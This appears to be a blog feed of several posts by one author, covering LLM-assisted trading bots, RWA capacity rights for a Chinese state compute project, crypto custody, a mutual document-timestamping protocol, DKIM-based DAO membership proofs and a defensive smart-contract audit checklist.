In production, a strategy is a state machine driven by triggers. It sits in a ready state collecting data, and nothing happens until several conditions line up at once: an external report drops, a price crosses a band, a watched account moves, an N-sigma event fires. Only when every required trigger is satisfied does it place a trade, and then it logs everything, what it believed, why it acted, and when the order cleared.

The first account strategy you should ever build is the boring one: sell everything I have. Being able to dump your whole position back to cash lets you reset risk and be ready to start the next trading round clean.

Execution is never instant. There is the two-second Polygon clearing time plus real network latency, so a band strategy may be reacting to data that is already a couple of seconds stale. On NASDAQ people fight over milliseconds and microseconds; here we fight over whole seconds. The failure mode is the same, you buy at a price far from where your signal fired, and when it happens you go back to the logged triggers and run the forensics. That is exactly why the logging has to be thorough.

Building it with an LLM

You may use LLM to help with your programming. I have collected some notes about my experience in using professional engineering techniques while getting LLM to do most of the work.

You don’t need to understand all of this discipline. But if you bark these buzzwords at your “junior assistant” then it will have a solid foundation for doing its work.

The first is the brain dump. Do not just tell the model “trade on rosters,” explain why you think rosters carry an edge, who will react to them, and which other markets they might move. Five minutes of talking through your reasoning is the most valuable five minutes in the project, because without it the model cannot actually help you.

Apps like this outgrow one-shot tools such as Claude Code or Grok. Past a certain size you have to think like an engineer again.

The second is the API (interface). For anything more complex than a throwaway toy, make the model write all the function signatures and none of the implementation first, then argue with itself about whether they are right, and stop so you can read them. That is where you catch the fatal omission, you never stored the time the roster arrived, before it burns days of runtime and hundreds of dollars of tokens on something that runs slowly and executes badly. Defining those contracts up front is just the SOLID principle applied to AI-generated code. Back it with two kinds of tests:

unit tests for the code
data tests to confirm the output is shaped the way the next stage expects

Finally, sizing. Once you have a strategy that genuinely works, the question is how much to bet, and the answer is the Kelly criterion. You do not need a finance degree, you just need the word, so you can hand it to the LLM instead of telling it to bet everything. Betting your whole bankroll each time guarantees ruin: one loss takes you to zero, and you can’t double your way back up from zero.

Fish don’t backtest

The closing line of the talk is “fish don’t backtest, so don’t be a fish.” The deeper point is that prediction markets are a rare place where one person can practice the entire modern data workflow end to end: source reproducible data, engineer features, form a hypothesis, backtest it honestly against full history and only then move to execution with real logging and risk control.

These skills could be worth far more than any money you’ll make with this trading bot. It transfers to any system that lives or dies on data, timing and reproducibility.

Next steps

If you are building your own data pipelines, hypotheses and backtest… then you might be a good candidate for a machine learning job. Send me your resume.

If you care about these topics and are hiring… then you might want good candidates. Send me your job posting.

I connect people and look forward to inviting you next time to a similar event, which always includes networking and mixers at the end!

RWA思路如何帮助国资实现十五五重大项目？

Fri, 03 Jul 2026 00:00:00 +0000

研究国资现在的情况和RWA带来的现代资本机会。对比西方常见做法和中国市场可以实际应用的方式。

作家简介

你好，我是William Entriken（安其文）。我认为相关技术和新的资本结构可以帮助政府和国资把项目做得更顺利、更可靠。我参与过多个政府和私立企业的项目设计与指导。

2017年作为ERC-721（后来被广泛称为NFT标准）的主作者
2018年初实现技术，与工程师合作落地
2018年初在上海和美国演讲，解释NFT技术以及如何应用（相关概念后来进入上海“十四五”规划讨论）
2018年至今，与政府和私立公司合作，用RWA帮助企业实现具体项目（不涉及比特币或发币类项目）
2019–2020与西欧多国政府分析区块链应用前景
2020–2023与美国政府合作，研究如何应用NFT/RWA，并提供法律分析支持
2021–2024与东欧（爱沙尼亚）立法部门交流如何在欧盟框架下利用NFT/RWA
商业背景：本科电子与计算机工程，硕士金融与国际贸易。2006年在谷歌工作，2008年从事通信芯片领域，此后为科技公司提供发展和创业咨询

国内报道

国际政府相关（英文）

国资问题

国资的作用就是按照党中央制定的方向、国务院和国家发改委的主要投资与规划，以及省级发改委（在省政府）在土地审批、本地能源基础设施等方面的配合，来设计项目机会。有了项目再和各级政府商量如何符合项目资本的需求，最终负责项目的完成。国资会参与多轮项目，也会连续和各级政府以及伙伴合作。

每一次项目成功，下一轮就更顺利。项目和五年计划吻合，对接更自然。国资的信任很重要。

我们以下举个例子，分析相关刚出的十五五计划。

例如项目：内蒙古自治区AI算力城

按照十五五计划建立一个国际级算力中心（10亿瓦级）。

我们先分析在内蒙古自治区该项目的需求：

🟢 地面
🟢 矿场的煤炭
🟢 发电厂（10亿瓦级）
🟢 算力城外壳设计
🟢 算力城外壳建立（包电力、电池、散热，外网）
🟢 算力城内网络（服务器与服务器）
🟠 了解应用需求
🟠 服务器
🟠 AI芯片

在国外类似资本需求大约500亿美元（房地产、建设、发电厂、服务器、芯片）。在国内估计会便宜一些，但是实现该项目会需要国资和省、市政府以及其他方大力支持。

ℹ️ 关心点：以上的资本需求大大大量在于🟠服务器和🟠AI芯片。

国资和私资对比

我已经分析过如何在内蒙古自治区建立算力中心。蒙古国私立、内蒙古自治区私立和内蒙古自治区国资项目都不同。以下对比项目基础：

	蒙古国私立	内蒙古自治区私立	内蒙古自治区国资
🟢 地面	❌ 不能保证	❌ 不能保证	✅ 可保证
🟢 矿场的煤炭	✅ 可以买	❌ 不能保证	✅ 可保证
🟢 发电厂	❌ 不能保证	❌ 不能保证	✅ 可保证
🟢 算力城外壳设计	✅ 可以做	❌ 不能保证	✅ 可保证
🟢 算力城外壳建立（包电力、电池、散热，外网）	✅ 可以做	❌ 不能保证	✅ 可保证
🟢 算力城内网络	✅ 可以做	✅ 可以做	✅ 可保证

剩下的算力部分更难说：

	蒙古国私立	内蒙古自治区私立	内蒙古自治区国资
🟠 了解应用需求	✅ 懂得多	✅ 懂得多	❓ 可问企业
🟠 服务器	✅ 可以买	✅ 可以买	✅ 用国内的
🟠 AI芯片	✅ 用国外的	❓	✅ 用国内的

项目的基础国资十分可以做得到。私立资本无法保证项目实现。

国资自己买服务器和AI芯片有可能买错款。还有这一部分是大大大量资本需求。

到这一点我们可以分析相关思路如何帮助国资实现项目难点，还有西方常见做法和中国内实际应用怎么不一样。

如何用相关思路帮助项目

目前的困难是：

最终算力城要符合企业实际算力需求。
资本参与方需要确信项目能够顺利实现。
服务器和AI芯片需求可能比国资提出过类似的项目更大。

还有不要忘记国资强项：

只有国资能保证各级政府（省、市等）的合作。
国资获得面积、发电证和别的证都不紧。
AI大算力是十五五计划的目标企业。
国资能带来很多企业方，介绍新的合作方式。

RWA相关思路可以带来一个更合适的资本方式。可能更适合该项目。我们先对比几种资本方式：

投资	贷款/债券	⭐️ 容量权利
项目成功后分红	项目还在发利息	项目实现后有权入驻

我们可以想象算力城是一个多横多竖的格子。

1号位置	2号位置	3号位置	4号位置	5号位置
。。。。。。	。。。。。。

每一个格子有一定的面积、一定的电力容量、一定的内外网、一定的散热限制。

如果国资已经通过所有的面积、发电、类似的证，那就可以提前明确这些位置的入驻权利。项目建立好之后，谁持有该权利，就有权利入驻。

⭐️ 持有方提供自己的服务器和 AI 芯片。入驻后仍需支付房租和电费。

这些入驻权利可以按市场价格分配给实际需要算力的企业方。

这种资本方式可以带来大量早期的资本，也会减少国资的风险。

⭐️ 通过这种方式，参与方为什么最相信项目会实现？因为政府方实现之后，政府方还可以继续赚房租和电费。

为什么需要允许这些权利在一定规则下转移？

因为光速限制，高带宽AI计算对物理位置非常敏感。相邻的几个房间一起用，效率远高于分散的房间。持有1、2、3号位置比持有1、2、5号位置有用得多。早期预订的企业可能是大型用户，也可能是刚起步的公司。从预订到实际搬入，中间市场情况会变化，需要一个清晰的登记和调整机制，让最终真正使用的运营主体能坐到合适的位置。

这些权利本身不附带分红，也不能当金融产品转租赚钱。它们只给实际运营实体使用，目的就是把物理容量分配清楚。

2026年2月银发〔2026〕42号等文件对境内RWA代币化活动做了明确限制。但国资在研究十五五重大项目的资本和风险安排时，仍然可以认真分析这类机制的有用属性，并在自己的内部系统和合规框架下设计类似的容量分配方式。

西方常见的RWA做法和中国实际可用的方式不一样：

西方常见做法	中国实际可用方式
容易金融化、二级市场炒作	政府可以严格控制
匿名参与	必须可追溯、可审核
和去中心化金融深度绑定	可以绑定人民币和内部登记系统

除了技术以外，私立公司更喜欢高风险项目。他们不依赖政府贷款和这种容量权利模式。他们会到各个国家参与证券交易。国资的风险偏好不同，因此这种更可控的方式可能更适合。

下一步

我可以帮助：

分析如何利用新的资本和风险安排，提高你的项目成功率。
讨论在国内怎么用国产的区块链或者非区块链技术，实现类似的容量分配机制。
利用我十多年的经验，分析你的具体项目和资本方式。
就像我和美国、欧洲政府合作一样，和中国相关方面一起分析合适的规则和市场安排。

我目前可以到北京和相关工作组直接讨论这些资本结构选项，特别是针对大型算力和其他十五五重点项目。并且，和国资的同事们进一步沟通关于新技术和新结构怎么真正帮到企业应用。

The future of web3 is centralization

Thu, 11 Jun 2026 00:00:00 +0000

A friend asked me a sharp question after my Google talk:

“How will the world ever move from the custodial world we live in (banks, trading accounts, etc.) to a world where I have a single private key and really ‘own’ these NFTs?

Smart contracts and even soulbound NFTs assume we’ll all suddenly guard our private keys with our lives, only to be forced to follow every on-chain rule, fee, and restriction. Instead, I can just trust Coinbase (or whoever wins). I get convenience, the ability to sell to anyone, and I can skirt blockchain rules. Help me understand this.”

Here’s my perspective:

Business processes don’t change. Only the methods change.

For thousands of years, humans have happily owned assets beneficially while handing custody to someone else. We do it with money in banks, physical gold in vaults, real estate protection through government, stocks through brokers, art in galleries or museums. The vast majority of marketable assets with defined ownership are held by a separate custodian. (And perhaps even all valuable assets.)

When you give custody to another party, you lose direct control, but you gain offsetting benefits: convenience, security services, financialization, insurability, dispute resolution, and more.

Crypto is no different.

In 2018 we saw heavy self-custody for two reasons:

Early adopters are a special group. They enjoy the risk, the ideology and the new value propositions.
Many mainstream users who just arrived simply don’t know any better yet.

But humans as a whole have never valued direct, personal custody of assets as highly as the “not your keys, not your coins” crowd hopes.

The end result? Long term, nearly everyone will opt for custodial holding.

They will happily let Coinbase, a future super-app, or some trusted institution hold the keys while they enjoy:

No need to guard a private key with their life
Easy recovery if something goes wrong
Lower friction for everyday use

Self-custody will remain important for:

High-value operational “cold” holdings
People with high risk tolerance or strong ideological reasons
Specific use cases where trust minimization is worth the hassle

Expecting the entire world to suddenly treat a 12-word seed phrase like their most precious physical possession was always unrealistic.

Notary pairs: immutable, mutual timestamping service for business relationships

Tue, 09 Jun 2026 00:00:00 +0000

You created a document today.

When you deliver that to your business peer, you want confirmation that they received it and when. This includes emails, electronic document interchange and other business processes.

One solution is to ensure that all business processes go through email, and that read receipts are always on. And that you check the receipts.

Another extension of this technique is “notary pairs”. This approach applies to more kinds of data/processes and borrows from blockchain and versioned database template concepts.

What is a notary pair

A notary pair is a mutual, ongoing, connection established between two entities that notarizes documents. These will typically be used by businesses.

flowchart LR
    A[Business A notary] <--> B[Business B notary]

They are synchronized and create an immutable ledger of document receipts.

sequenceDiagram
    Business A notary->>Business B notary: Receipt 1
    Business B notary->>Business A notary: Receipt 2
    Business A notary->>Business B notary: Receipt 3
    Business B notary->>Business A notary: Receipt 4

Each entry contains exactly:

Incrementing serial number, e.g. 1, 2, 3, …
Timestamp, also strictly increasing
Prior entry hash, a succinct calculated summary from the prior entry
Payload, typically a hash of some file or business record
Signature, of of the notary making the entry
(Optional) pentultimate signing key and new signing key

This is managed by an agent run in each entity’s system.

Zig-zag etiquette

This system is designed as a zig-zag protocol where odd-numbered entries are from one side and even-numbered ones are from the other. If a participant wants to send a payload but it made the last turn (i.e. not its turn), then it politely asks the counterparty to create a empty-payload message. And then the microphone passes back.

Each notary enforces the rules and will not accept if, for example, the timestamp is in the future, prior entry hash is incorrect, other partrs are invalid.

And they use this approach back-and-forth to record all business records.

Privacy

You connect to other entities only by explicit configuration on both sides. All data is end-to-end encrypted through both sides.

Plausible deniability ratchet

You may rotate your key on each turn with the optional “pentultimate signing key and new signing key”. In this case, you and the counterparty will each know your connection is still secure and still know that the prior messages have not been tampered with. But it adds something new.

If anybody (you, the counterparty, or a third party that somehow got access) tried to publish the event stream, they would also necessarily be publishing the signing keys for each event (up to the most recent one). Therefore, no third party can authenticate that these messages are authentic.

It would be like if you walked into the bar with an ID card, and your ID card was stapled to a fake-ID-card printing machine!

External time synchronization

You may synchronize your entries with external timestamping services (“public notary”) if you care about proving when certain messages happened.

Include the most recent Bitcoin network blockhash as part of any event payload. This proves your event was created at some time after that Bitcoin block.

Include a copy of any event and publish as part of a Bitcoin event. This proves your events was created some time before that Bitcoin block settled.

Smart contracts

The entry payloads may also include other protocols such as Ethereum Virtual Machine code.

If the notary is configured to reject messages that do not follow the specified protocol then this can maintain a mutual smart contract ecosystem.

A network of peers

This approach also scales to a network of peers.

Remember that when Business B and Business C communicate in this example, they cannot messages they have seen (through Business A) regarding the public notary. If ratcheting is used, the messages they see through Business A may be a forgery of the public notary’s mesages!

The notary pairs system only guarantees security between relationship pairs. It does not establish stable public identities which can be gossiped between entities.

The limits of channels

Public identities are not supported. In this topology of pairs:

flowchart TD
    subgraph Private network
    A[Business A] <--> B[Business B]
    B <--> C[Business C]
    A <--> C
    end
    subgraph Public internet
    A <--> I[Pinning to a public notary]
    end

The notary pairs system only guarantees security between relationship pairs. It does not establish stable public identities which can be gossiped between entities. For example, Business B and Business C cannot validate any message regarding the public notary which they have seen through Business A. Recally that if patcheting is used, Business A is fully able to delay and forge messages from the public notary and feed them to its peers. They will be none the wiser.

Credit systems are not supported. It is well established that any credit instruments only works if there is a publicly visible collateral. And debts against it are only truly enforceable if they are publicly recorded against the visible collateral. This is how layer-two networks (“channels”) such as the Lightning Network are able to efficiently move Bitcoin. They:

Publicly secure an asset (e.g. some Bitcoin)
Do things
Release the asset

This system only works because everybody can agree that no two overlapping debt instruments are outstanding against a given Bitcoin.

Furthermore, if you are using the ratchet privacy option, you can’t be sure that any gossip you see outside of your own channel is genuite!

Conclusion

This system allows any business relationships to benefit from mutual message/document timestamping. This effectively prevents any dispute of document receipt and he-said/she-said timing. It scales to arbitrary kinds of documents and online network access.

Legal resident DAO

Tue, 02 Jun 2026 00:00:00 +0000

This paper provides a technical explanation of how to send blockchain tokens only to verifiable US citizens. It runs entirely on-chain and is trustless. This approach scales to other jurisdictions and other verifications, and it does not require cooperation from government.

In the age of the airdrop, projects wanted to create a token and then give out a limited supply to: special people on GitHub, special people on X, other named individuals.

But each one of these was implemented the same way: some person creates a bunch of tokens for themself, they set up a webserver, and you that webserver may decide to give some of the tokens to you. You login using GitHub or X or whatever.

You were proving to the project owner who you are and the project owner gave you tokens.

System-wise and security-wise this is not interesting. It is a trusted system. They could give the tokens to themselves or anybody.

But a few cryptographic primatives in wide use today allow us to do trustless verifications for some interesting attestations.

You can create verifiable proofs of asset ownership and identity without showing that identity to anybody. Let’s see!

Email DKIM primative

Email already has domain anti-spoofing checks. Here’s how that works.

flowchart LR
    X[DNS] -->|DKIM key| B
    A[Sender] -->|Email| B[Recipient]

A sending domain DNS entry recognizes a specific server as authoritative (e.g. Google Workspace)
The email sending system publishes DKIM records, e.g. 20161025._domainkey.gmail.com
Sent emails are signed using this key.
The recipient verifies against this key and concludes the email is authentic from the sending domain.
If the email is published, anybody can trustlessly verify it is authentic from the sending domain.
If you publish the email first, you can reasonably demonstrate that you initiated that action.

When we say to “publish” the email, this means the full email including headers.

Filesharing primative

InterPlanetary File System (IPFS) and the Solana blockchain both use the same Ed25519 key pair and can cross validate identities.

A person publishes to IPNS with any standard Ed25519 key.
Anyone can resolve the IPNS to get the full public key (use ipfs name resolve).
Convert that public key to Solana’s Base58 address format (one-line of code).
Identify if that address is active on Solana and send them tokens.
The person who controls the IPNS private key can use any SOL or tokens immediately.

This works today, you can tokens directly to anybody who publishes on IPFS/IPNS.

Working the other direction, you can also check the online/offline status and IP address of such people that are using Solana.

GitHub SSH key primative

You can use the GitHub API to lookup the public keys for me or anybody using GitHub.

https://api.github.com/users/fulldecent/keys

You can use this approach to allow arbitrary GitHub accounts to login to a system you created. Ubuntu has a nice setup process when you create an account: provide your GitHub username and it sets up public-keys to login to your account.

With a blockchain smart contract, you can preauthorize a list of these keys from targeted GitHub accounts. Then those people can sign a message that is verified on chain. No webserver required, no middleman.

Use case: proof of billionnaire status

From the email primative, we can parlay this with the fact that investment brokerages will send emails including account details to beneficial owners.

flowchart LR
    X[DNS] -->|DKIM key| B
    A[Sender] -->|Email demonstrating asset ownership| B[Recipient]

If you publish this email, this can trustlessly verify that you own a specific asset. Anybody can take your email, verify its authenticity against the brokerage DKIM key. And if they agree that the brokerage sends emails only with factual information, then they can verify the documents without needing to ask the brokerage directly. (They can also see your email address, but we can fix that.)

If you redact the email (or, lol, just post a screenshot) then the public can no longer validate it against the original DKIM cryptographic signature, anybody could have produced that screenshot. But zero-knowledge proof systems exist where you can describe the important parts of the email and it will give a non-repudiatable evidence rather than publishing the full email. For example, you could prove:

The DKIM key
The email sender
A blinded one-way token of your recipient email address or account number
Specific text in the email, such as “Account: balance…” for a specific template
Zero-knowledge proof demonstrating the full email matches and authenticates as claimed

DAO for billionaires

This means you can create a fully-decentralized self-attested club for billionaires. A decentralized program (DAO) will come preloaded with specific acceptable banks/email templates.

Anybody would just need to produce a valid email attestation showing an account balance and their account number/email address was not previously used. And the DAO admits you as a member.

DAO for citizens or voters

I live in Montgomery County, Pennsylvania. If you register as a voter with online mailer service, you will receive an email after your ballot is received.

Using the same approach, it is possible to create a DAO, where anybody (at least MontCo voters) can join after providing anonymous proof that they voted on national election day.

This same approach can be used for other government identity and action receipts which you receive over email.

The entire system is trustless, and can be done anonymously on blockchain with a DAO.

The end result is a blockchain smart contract that trustlessly gives tokens only to US citizens.

You could of course do other countries.

Prove off-chain activity

This same email trick allows you to demonstrate ownership of X accounts, ownership of various other online identities, and actions of various kinds across various real words activities.

I haven’t built any of these systems. Because the world isn’t ready for this future yet.

How I audit smart contracts in 2026

Wed, 20 May 2026 00:00:00 +0000

How I audit smart contracts: my complete checklist plus a real case study

I audit smart contracts so you can ship code you trust. This is a repeatable process that catches bugs that matter.

I have used this workflow on real projects since 2019. It produces publishable, billable results. Sharing it here.

This applies to audits, and specifically as part of incident response. That means while you are working, life changing amount of money may be getting stolen and that process continues while you work.

The workflow I actually use

I follow these steps every time. They keep the audit honest, public, and useful.

STEP ZERO IS GET A LOT OF WATER. This could be a very long night. And put food into your favorite food delivery shopping cart. This is a battle and if you run out of water or calories your work could become ineffective.

Engage. Collect:
1. The exact code to audit
2. The relevant documentation customers will see
3. Test cases
4. Other institutional knowledge that is requied to use or test the product
Announce audit to public, if in-scope.
Perform audit, see findings list list below.
Collate into a report, issues, test cases, or other deliverables as required by client.
Publish, if in-scope.

That’s it. Stay focused.

The checklist

Verify collection and resources

Use internet search to confirm all well-known source code/documentation/test cases related to the client and this engagement are actually included in the client-provided scope.
Use internet search to identify any claimed leakers/evidence of insider threats at the client that may be relevant to the audit scope.
Get and verify personal contact information for all stakeholders and subject matter experts. Confirm that they are available 24/7 and how to bypass silent settings on their phones. (Audit is sometimes a truly ASAP operation, meaning all participants are expected to forgoe sleep.)
Document your inputs. E.g.

Code was provided privately with SHA-256 hash afcdaf5ddb03b8a227b66a2a0aef41891754ab81450acec7ced296a437db522a.

Suit up

Install a virtual machine or unpriviledged remote host to perform your work.

Reputation review

Confirm who wrote the code and how they were paid (check, crypto, etc.).
Verify the project website has proper WHOIS and contact details.
Review the mission statement of the client organization. These may be used in a finding if, for example, the organization claims a certain mission and level of control over the product, but the implementation is inconsistent with that.

Supply chain audit

Ensure the deployed product (if any) matches the provided source code.
Identify all dependencies of the code and project.
- If code is copy/pasted into the project (e.g. OpenZeppelin Contracts) then identify the specific commit this was pasted from.
- This includes tooling versions.
- Old versions by themselves may be an audit finding.
Identify all known issues and caveats of these supply chain versions. For example, Solidity versions before 0.8 did not have integer overflow protection. Before 0.5 had all kinds of craziness.

Identify any upgrades

Mutations in smart contract behavior by proxies (“upgrades”) and other mechanisms require the above work to be repeated for each version of the deployed contracts. This also requires a full accounting of how the upgrades happened.

Identify party risk

Find all accounts shown with special permissions against the smart contracts.
Identify the beneficial owners of these accounts (if they are DAOs, smart contracts, “multisigs”, etc.).
Identify account code (EIP-7702) for external accounts.
Review if the independence of these accounts violates any marketing claims in the documentation or mission statement of the project.

Intended code usage

Try use cases using a fork of the target blockchain or your own testing instrumentation.

Consider every documentation which explains how you are supposed to use this product. Write these down.
Consider every NatSpec comment.
Read the code paths and see if at any point there is a violation of any documented (or implied) specifications. These are findings.
Consider anywhere you think you would have implemented this “better” or “differently”. Make a note of that. Compare if their implementation has different edge cases than yours, write these down.

Unexpected code usage

For each code path you considered above, mark any external calls in red. Cross reference that call versus all possible execution contexts. (M×N)
Read every contract entry point. And consider them versus normal operating storage state situations.
Consider anywhere you think you would have implemented this “better” or “differently”. Make a note of that. Compare if their implementation has different edge cases than yours, write these down.

Undocumented code

This is only necessary for interactions including contracts where you do not see the source code. You will need to study the assemply. For example OpenSea Shared Storefront contract.

For a case study on that reverse engineering and zero-days found see here.

Disassemble the code.
Separate each code unit.
Mark in color every potential write operation SSTORE CALL* .
Work backwards to color every code unit that could possibly jump to a colored code unit. Repeat to exhaustion.
Delete everything else.
Look for telltale signs of Solidity versions.
Pay attention to storage locations. And figure it out.

Automated testing

Run existing testing.
Add your edge cases as noted above.
Do fuzzing by hand. Test out-of-range inputs.
Use solhint, slither. Any warning is a finding.
Look for duplication, unused variables, wasteful storage layout.

Change mindsets, last pass

Whatever mindset, level of sleep or chemicals were in your system… do the opposite of that. Those can all lock you into one way of thinking. To think like an adversary you need many ways of thinking.

You may do this by napping, jumping jacks, chemicals.

Sensitivity and the final report

Small findings can combine into big findings. (Old Solidity version + this control structure is not how I would implement it = a broken for loop and complete contract take over.)
Structure your findings for your written report.
Use basic copyediting techniques.
Mark critical issues with 💣 and material issues with ⚠️.
Include recommendations that are immediately actionable.
Add a “best practices” section that cites the sources I actually respect.
Ship the report.

Now you’re done. Tell your client exactly how to get a hold of you. Tell your partner what is wake-me-up-worthy. Go sleep for 12 hours.

For follow up rounds, you may document which findings the client found as acceptable risks.

Ready to get your contract audited?

If you want this exact process applied to your project, here is what happens next:

You send me the code and the specification.
I run the checklist above.
You receive a report in the same format as the Kred example.
We iterate in public or private, whichever you prefer.

Book a call or just reply to this post with your repo. I answer every serious inquiry.

See my past audits and zero-day research.